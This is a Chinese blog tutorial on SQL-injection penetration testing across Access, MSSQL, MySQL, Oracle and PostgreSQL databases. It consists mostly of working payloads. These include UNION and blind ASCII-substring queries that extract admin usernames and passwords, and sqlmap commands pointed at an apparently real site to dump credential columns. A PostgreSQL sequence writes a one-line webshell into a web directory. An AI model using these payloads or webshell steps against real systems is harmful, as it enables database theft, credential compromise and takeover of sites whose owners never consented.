热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

Web渗透测试(sql注入access,mssql,mysql,oracle,)

Access数据库注入:access数据库由微软发布的关系型数据库(小型的),安全性差。access数据库后缀名位*.mdb,asp中连接字符串应用——“Driver{microso

Access数据库注入:

 access数据库由微软发布的关系型数据库(小型的),安全性差。

 access数据库后缀名位*.mdb

 asp中连接字符串应用——

 “Driver={microsoft access driver(*.mdb)};dbq=*.mdb;uid=admin;pwd=pass”

  Dim conn

  Set cOnn= server.createobject(“adodb.connection”)

  conn.open “provider=Microsoft.ACE.OLEDB.12.0;” & “data source = ” & server.mappath(“bbs.mdb”)

 

打开此数据库的工具——

 破障浏览器,辅臣浏览器

 

注入分析——

判断注入点(判断有没有带入查询)

,

and 1=1

and 1=2

or 1=1

or 1=2

and 1=23

 

查看是否带入查询,如果带入查询了,说明有注入漏洞

 

存在注入--判断数据库类型——

and exsits (select * from msysobjects) >0(判断access

and exsits (select * from sysobjects) >0(判断SQL server

 

 

判断数据库表

 and exists (select * from admin)(如果不存在admin表,可以试试user或者useradmin

 

 

带入查询不报错说明有admin

 

 

and exists (select admin from admin)查询是否有admin字段

 

and exists (select password from admin)查询是否有password字段

 

 

判断字段长度 order by 22

 

 

报错  and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin(猜解出adminpassword的字段长度)

 

 

and 1=2 union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin(这样就把用户名密码猜解出来了,再去md5解密即可)

 

 

 

示例:sqlmap注入access数据库

 链接http://www.jnqtly.cn/cp11.asp?id=1129

root@xxSec:~# sqlmap -u http://www.jnqtly.cn/cp11.asp?id=1129

 

 

root@xxSec:~# sqlmap -u http://www.jnqtly.cn/cp11.asp?id=1129 --tables(爆表)

 

 

10个线程跑

 

 

 

file表进行猜解

sqlmap -u http://www.jnqtly.cn/cp11.asp?id=1129 --tables --columns -T file

 

 

对字段进行猜解

root@xxSec:~# sqlmap -u http://www.jnqtly.cn/cp11.asp?id=1129 --dump -T file -C "admin,password"

 

然后去解密即可

 

 

———————————————————————————————————————

 

MssqlSQL server)数据库注入:(中小型企业)

SQL server由微软公司推出的关系型数据库,支持对称多处理器的结构 存储过程,具有自主的sql语言,支持图形化管理工具。

SQL server数据库文件后缀位xxx.mdf,日志文件后缀为xxx_log.ldf

基础语句select * from 表名(查询)

       sreate database 库名(创建)

         drop database 库明(删除库)

权限——

  sa权限:数据库操作,文件管理,命令执行,注册表读取等system

  db权限:文件管理,数据库操作等 users-adminstrators

  public权限:数据库操作 guest-users

 

调用分析——

  <% set cOnn=server.crateobiect(“adodb.connection”)

conn.open“provider=sqloledb;source=IP;uid=sa;pwd=xxxxxxxxx;database=xxx”

%>

 

注入语句:

 判断是否有注入——

  and 1=1

  and 1=2

.......判断注入的方法是一样的

and (select Count(*) from [表名])>0(猜解表名)

  and (select Count(字段名) from 表名)>0(猜测字段)

  and (select top 1 len(字段名) from 表名)>0(猜测字段长度)

 

初步判断是否是mssqlSQL server)——

and user > 0

 

判断数据库系统——

and (select count(*) from sysobiects)> 0 mssql

and (select count(*) from msysobiects)> 0 access

 

 

实例:(其实都不建议手工测试,还是工具跑得快)

 用穿山甲测试

 

 

可直接写入一句话木马

 

 

Sa权限可直接提权

 

 

如果命令不生效可先恢复一下spoa换一下类型

 

—————————————————————————————————————————

 

Mysql数据库注入:(中小型企业)

  瑞典推出的关系型数据库,现在已经被甲骨文公司收购,搭配php+apache+mysql

 

Mysql函数——

 systm_user() 系统用户名

 user() 用户名

 current_use() 连接数据库的用户名

 database() 数据库名

 version() MySQL数据库版本

 load_file() 转成16进制或者是10进制mysql读取本地文件的函数

 @@datadir 读取数据库路径

 @@basedir 读取MySQL安装路径

 @@version_comoile_os 判断操作系统

 

PHP+MySQL链接——

 

$host=’localhost’; 数据库地址

$database=’sui’; 数据库名称

$user=’root’; 数据库账户

$pass=’’; 数据库密码

$webml=’/0/’; 安装文件夹

?>

 

注入语句:

 判断是否有注入——

  and 1=1 返回正常

  and 1=2 返回不正常 存在注入点

.......判断注入的方法是一样的

 判断字段长度——

  order by xx

  order by 21 正常,order by 22不正常,说明长度为21

  union secect 1-18 from information_schema.tables(报出错误)

 

示例:(MySQL5.0以上的版本)

先判断是否存在注入,and不行试试其他or之类的,然后判断字段长度

 

 

爆出错误23

 

在报错位置查询想要的信息

猜解用户名

http://xxxx.xx.com/xxxxx/php?id=-5union secect  1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18from information_schema.tables

 

 

 

猜解数据库名

http://xxxx.xx.com/xxxxx/php?id=-5 union secect 1,database()3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.tables

 

 

猜解表名

http://xxxx.xx.com/xxxxx/php?id=-5union secect 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.tables  where_schema=0x6469616E(把库名转换成16进制)

 

 

爆出表名,爆出来后可以一个一个去尝试

 

 

 

猜解列名

http://xxxx.xx.com/xxxxx/php?id=-5union secect 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.column where_schema=0x797A36F054846172(把表名转换成16进制)

 

 

猜解字段

http://xxxx.xx.com/xxxxx/php?id=-5union secect 1,group_concat(username,0x5c,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from yzsoumember(0x5c是一个\16进制)

 

 

爆出管理员账号密码

 

 

 

—————————————————————————————————————————

 

 

Oracle数据库注入:(大型企业,政府,金融,证券)

 Oracle数据库由美国甲骨文公司推出的,以分布式数据库为核心,是目前世界上使用最广范的数据库管理系统,支持多用户,事物的处理,移植性强。

 

Oracle数据库代码分析——

    id = request.getParameter(“id”);

String strSQL = “select title,content from news where id=” + id;

ResultSet rs = strt.executeQuery(strSQL);

while(rs.next())

{

String title = rs.getString(“time”);

String cOntent= rs.getString(“conntent”);

Out.print(“”+ title +”
” + content + “”);

}

 

 

注入语句:

 判断是否有注入——

  and 1=1 返回正常

  and 1=2 返回不正常 存在注入点

.......判断注入的方法是一样的

 

判断语句——

 

 

示例:

猜解表名,存在则不报错and (select count(*) from admin)<>0

 

 

猜解user列名,存在则不报错and (select count(user) from admin)<>0

 

 

猜解pwd列名,存在则不报错and (select count(pwd) from admin)<>0

 

 

判断长度and (select count(*) from admin where length(name)>=5)=1length()函数用于字符串长度,此处猜测用户名长度和5比较,意思就是猜测是否由5个字符组成)

 

 

猜解第一个位and (select count(*) from admin where length(name)>=5)=1  and (select count(*) from admin where ascii(substr(name,1,1))>=97)=1substr()函数用于截取字符串,ascii()函数用于获取字符的ascii码,此处的意思是截取name字段的第一个字符,获取它的ascii码值,查询ascii码表可知97为字符a

 

猜解第二位and (select count(*) from admin where length(name)>=5)=1 and (select count(*) from admin where ascii(substr(name,2,1))>=100)=1(重复以上操作,去配对ascii码表,可以判断账号为admin

 

 

相同方式猜解密码;and (select count(*) from admin where length(pwd)>=8)=1 返回正常,密码长度为8

 

 

 

 猜解第一位and (select count(*) from admin where length(name)>=5)=1  and (select count(*) from admin where ascii(substr(pwd,1,1))>=97)=1(返回正常,字符为a

 

 

 猜解第一位and (select count(*) from admin where length(name)>=5)=1  and (select count(*) from admin where ascii(substr(pwd,1,1))>=97)=1(返回正常,字符为a(重复以上操作,去配对ascii码表,可以判断账号为admin888

 

 

 

 ascii

 

 

测试登陆

 

———————————————————————————————————————

 

Postgresql注入:(国内用的比较少

 

注入语句:

 判断是否有注入——

  and 1=1 返回正常

  and 1=2 返回不正常 存在注入点

.......判断注入的方法是一样的

 

判断语句——

 

示例:

http://www.xxx.jp/xxx/xx/php?id=307 and 1=cast(version() as int)(获取数据库版本信息,系统信息)

 

 

http://www.xxx.jp/xxx/xx/php?id=307 and 1=cast(user||123 as int)(获取当前用户名称,Postgres用户相当于root用户权限)

 

 

 http://www.xxx.jp/xxx/xx/php?id=307 ;create table xxx(w text not null);(创建表x

 

 

插马——

  http://www.xxx.jp/xxx/xx/php?id=307;insert into xxx values($$$$);(向x表中插入一句话木马)

 

 

写文件——

  http://www.xxx.jp/xxx/xx/php?id=307;copy xxx(w) to$$/home/kasugai_tochi/public_html/script/xxx.php$$;(将一句话木马保存为xxx.php文件,执行后用菜刀链接,然后上传webshll

 

 ——————————————————————————————————————————————————

 

提交方式注入:

 Get——

  get注入比较常见,如www.xxx.com/xx.asp?id=1

 

  判断方式——

and 1 =1

and 1=2

 

 Post——

  post提交方式主要适用于表单的提交,用于登录框的注入,如www.xxx.com/admin.php

  测试工具——pangolinsqlmap

 

 判断方式——

  在登陆框键入 ‘or’=1  

示例:(穿山甲跑)

加载表单

 

 

把后台地粘贴上,开始跑

 

 

加载表单

 

 

它会默认把表单提交到根路劲,需要把它改成登陆路劲

 

 

 

Sqlmap跑——

示例:

加上根目录路径,然后在往下操作

sqlmap -u http://www.xxxx.com/login.asp --data “xxxxxxx=1” --dbs

sqlmap -u http://www.xxxx.com/login.asp --data “xxxxxxx=1” --tables -D “列名

sqlmap -u http://www.xxxx.com/login.asp --data “xxxxxxx=1” --columns -T “表名” -D “列名

sqlmap -u http://www.xxxx.com/login.asp --data “xxxxxxx=1” --dump  -C “user,pass” -T “表名” -D “列名

 

COOKIE——

COOKIE提交用于账号密码的COOKIE缓存,还可以通过COOKIE注入来突破简单的防注入系统

 示例:

 

 

 

———————————————————————————————————————

 

搜索框注入:

 使用的工具——burpsuitesqlmap

 思路——先使用burp抓搜索包,把抓到的包保存到xx.txt文件里,然后用sqlmap

 

 示例:sqlmap -r xx.txt --tables(猜表名)

       sqlmap -r xx.txt --columns -T “admin”(猜列名)

       sqlmap -r xx.txt --C “admin,password” -T “manager” --dump -v 2(列内容)

 

找到搜索框

 

 抓包

 

再跑sqlmap

 

————————————————————————————————————————————————

 

伪静态注入:

  网站管理员耍小聪明,看着是静态页面,其实是动态页面

  http://www.xxx.com/xxxx/xxx/xxx.html

 

判断——

 http://www.xxx.com/index.php 返回正常说明是php写的  (index.aspindex.jsp)

 

示例——

http://www.xxxx.cn/xxx_99,html(把伪静态链接构造成动态脚本语言)

http://www.xxxx.cn/xx.php?id=99 asp?id=   jsp?id=  aspx?id=  不报错说明就是此语言)

 


推荐阅读
  • 如何使用Java获取服务器硬件信息和磁盘负载率
    本文介绍了使用Java编程语言获取服务器硬件信息和磁盘负载率的方法。首先在远程服务器上搭建一个支持服务端语言的HTTP服务,并获取服务器的磁盘信息,并将结果输出。然后在本地使用JS编写一个AJAX脚本,远程请求服务端的程序,得到结果并展示给用户。其中还介绍了如何提取硬盘序列号的方法。 ... [详细]
  • Metasploit攻击渗透实践
    本文介绍了Metasploit攻击渗透实践的内容和要求,包括主动攻击、针对浏览器和客户端的攻击,以及成功应用辅助模块的实践过程。其中涉及使用Hydra在不知道密码的情况下攻击metsploit2靶机获取密码,以及攻击浏览器中的tomcat服务的具体步骤。同时还讲解了爆破密码的方法和设置攻击目标主机的相关参数。 ... [详细]
  • 本文介绍了在Mac上搭建php环境后无法使用localhost连接mysql的问题,并通过将localhost替换为127.0.0.1或本机IP解决了该问题。文章解释了localhost和127.0.0.1的区别,指出了使用socket方式连接导致连接失败的原因。此外,还提供了相关链接供读者深入了解。 ... [详细]
  • 本文详细介绍了MySQL表分区的创建、增加和删除方法,包括查看分区数据量和全库数据量的方法。欢迎大家阅读并给予点评。 ... [详细]
  • MySQL语句大全:创建、授权、查询、修改等【MySQL】的使用方法详解
    本文详细介绍了MySQL语句的使用方法,包括创建用户、授权、查询、修改等操作。通过连接MySQL数据库,可以使用命令创建用户,并指定该用户在哪个主机上可以登录。同时,还可以设置用户的登录密码。通过本文,您可以全面了解MySQL语句的使用方法。 ... [详细]
  • 目录浏览漏洞与目录遍历漏洞的危害及修复方法
    本文讨论了目录浏览漏洞与目录遍历漏洞的危害,包括网站结构暴露、隐秘文件访问等。同时介绍了检测方法,如使用漏洞扫描器和搜索关键词。最后提供了针对常见中间件的修复方式,包括关闭目录浏览功能。对于保护网站安全具有一定的参考价值。 ... [详细]
  • 本文介绍了数据库的存储结构及其重要性,强调了关系数据库范例中将逻辑存储与物理存储分开的必要性。通过逻辑结构和物理结构的分离,可以实现对物理存储的重新组织和数据库的迁移,而应用程序不会察觉到任何更改。文章还展示了Oracle数据库的逻辑结构和物理结构,并介绍了表空间的概念和作用。 ... [详细]
  • 本文分享了一个关于在C#中使用异步代码的问题,作者在控制台中运行时代码正常工作,但在Windows窗体中却无法正常工作。作者尝试搜索局域网上的主机,但在窗体中计数器没有减少。文章提供了相关的代码和解决思路。 ... [详细]
  • 本文介绍了Java工具类库Hutool,该工具包封装了对文件、流、加密解密、转码、正则、线程、XML等JDK方法的封装,并提供了各种Util工具类。同时,还介绍了Hutool的组件,包括动态代理、布隆过滤、缓存、定时任务等功能。该工具包可以简化Java代码,提高开发效率。 ... [详细]
  • 本文介绍了Oracle数据库中tnsnames.ora文件的作用和配置方法。tnsnames.ora文件在数据库启动过程中会被读取,用于解析LOCAL_LISTENER,并且与侦听无关。文章还提供了配置LOCAL_LISTENER和1522端口的示例,并展示了listener.ora文件的内容。 ... [详细]
  • 本文介绍了在Linux下安装Perl的步骤,并提供了一个简单的Perl程序示例。同时,还展示了运行该程序的结果。 ... [详细]
  • 本文介绍了南邮ctf-web的writeup,包括签到题和md5 collision。在CTF比赛和渗透测试中,可以通过查看源代码、代码注释、页面隐藏元素、超链接和HTTP响应头部来寻找flag或提示信息。利用PHP弱类型,可以发现md5('QNKCDZO')='0e830400451993494058024219903391'和md5('240610708')='0e462097431906509019562988736854'。 ... [详细]
  • 本文介绍了绕过WAF的XSS检测机制的方法,包括确定payload结构、测试和混淆。同时提出了一种构建XSS payload的方法,该payload与安全机制使用的正则表达式不匹配。通过清理用户输入、转义输出、使用文档对象模型(DOM)接收器和源、实施适当的跨域资源共享(CORS)策略和其他安全策略,可以有效阻止XSS漏洞。但是,WAF或自定义过滤器仍然被广泛使用来增加安全性。本文的方法可以绕过这种安全机制,构建与正则表达式不匹配的XSS payload。 ... [详细]
  • 背景应用安全领域,各类攻击长久以来都危害着互联网上的应用,在web应用安全风险中,各类注入、跨站等攻击仍然占据着较前的位置。WAF(Web应用防火墙)正是为防御和阻断这类攻击而存在 ... [详细]
  • 浅解XXE与Portswigger Web Sec
    XXE与PortswiggerWebSec​相关链接:​博客园​安全脉搏​FreeBuf​XML的全称为XML外部实体注入,在学习的过程中发现有回显的XXE并不多,而 ... [详细]
author-avatar
爷们疯子2_593_278
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有